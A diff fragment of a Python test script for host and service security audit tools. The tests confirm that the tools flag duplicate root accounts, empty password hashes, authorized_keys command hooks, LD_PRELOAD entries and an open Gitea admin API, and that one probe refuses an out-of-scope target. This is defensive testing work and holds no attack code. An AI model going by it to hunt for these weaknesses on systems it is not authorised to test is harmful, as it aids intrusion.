"ld_preload_audit", root="/nonexistent-lp"), +], home=cfg39_home) +by_id = {r.get("id"): r for r in res} +pw = json.loads(text(by_id[1])) +pw_kinds = {f["id"] for f in pw["findings"]} +check("passwd_audit flags duplicate root, empty hash and a shell", + {"world-writable", "duplicate-uid0", "empty-password", + "system-login-shell"} <= pw_kinds and pw["uid0_accounts"] == 2 and + pw["empty_passwords"] == 1, pw) +pw_good = json.loads(text(by_id[2])) +check("passwd_audit accepts a clean passwd/shadow pair", + pw_good["findings_count"] == 0 and pw_good["uid0_accounts"] == 1 and + pw_good["empty_passwords"] == 0, pw_good) +ak = json.loads(text(by_id[3])) +ak_kinds = {f["id"] for f in ak["findings"]} +check("authorized_keys_audit flags writable files and command hooks", + {"world-writable", "writable-dir", "command-hook"} <= ak_kinds and + ak["command_hooks"] == 1, ak) +ak_good = json.loads(text(by_id[4])) +check("authorized_keys_audit accepts a private key file", + ak_good["findings_count"] == 0 and + ak_good["command_hooks"] == 0, ak_good) +lp = json.loads(text(by_id[5])) +lp_kinds = {f["id"] for f in lp["findings"]} +check("ld_preload_audit flags a non-empty list and writable library", + {"world-writable", "preload-nonempty", "writable-library"} <= + lp_kinds and lp["nonempty"] is True and + lp["writable_libraries"] == 1, lp) +lp_good = json.loads(text(by_id[6])) +check("ld_preload_audit accepts an empty preload file", + lp_good["findings_count"] == 0 and lp_good["nonempty"] is False, + lp_good) +gt = json.loads(text(by_id[7])) +check("gitea_api_probe finds the open admin API", + gt["admin_open"] is True and gt["version"] == "1.21.0" and + gt["evidence"] and os.path.isfile(gt["evidence"]), gt) +gt_auth = json.loads(text(by_id[8])) +check("gitea_api_probe reports a protected admin API", + gt_auth["admin_open"] is False and + all(e["status"] == 403 for e in gt_auth["endpoints"] + if "admin" in e["path"]), gt_auth) +check("gitea_api_probe refuses an out-of-scope target", err(by_id[9]), + text(by_id[9])) +check("passwd_audit reports missing files", err(by_id[10]), + text(by_id[10])) +check("authorized_keys_audit reports no keys", err(by_id[11]), + text(by_id[11])) +check("ld_preload_audit reports a missing file", err(by_id[12]), + text(by_id[12])) +gt_srv.shutdown() +gt_srv.server_close() +gt_auth_srv.shutdown() +gt_auth_srv.server_close() +shutil.rmtree(pw_root, ignore_errors=True) +shutil.rmtree(pw_good_root, ignore_errors=True) +shutil.rmtree(ak_root, ignore_errors=True) +shutil.rmtree(ak_good_root, ignore_errors=True) +shutil.rmtree(lp_root, ignore_errors=True) +shutil.rmtree(lp_good_root, ignore_errors=True) +shutil.rmtree(cfg39_home, ignore_errors=True) + print("\n== esp32 tools ==") @@ -13778,6 +13962,7 @@ print("\n== esp32 tools ==") + esp_home = tempfile.mkdtemp(prefix="apex-esp-")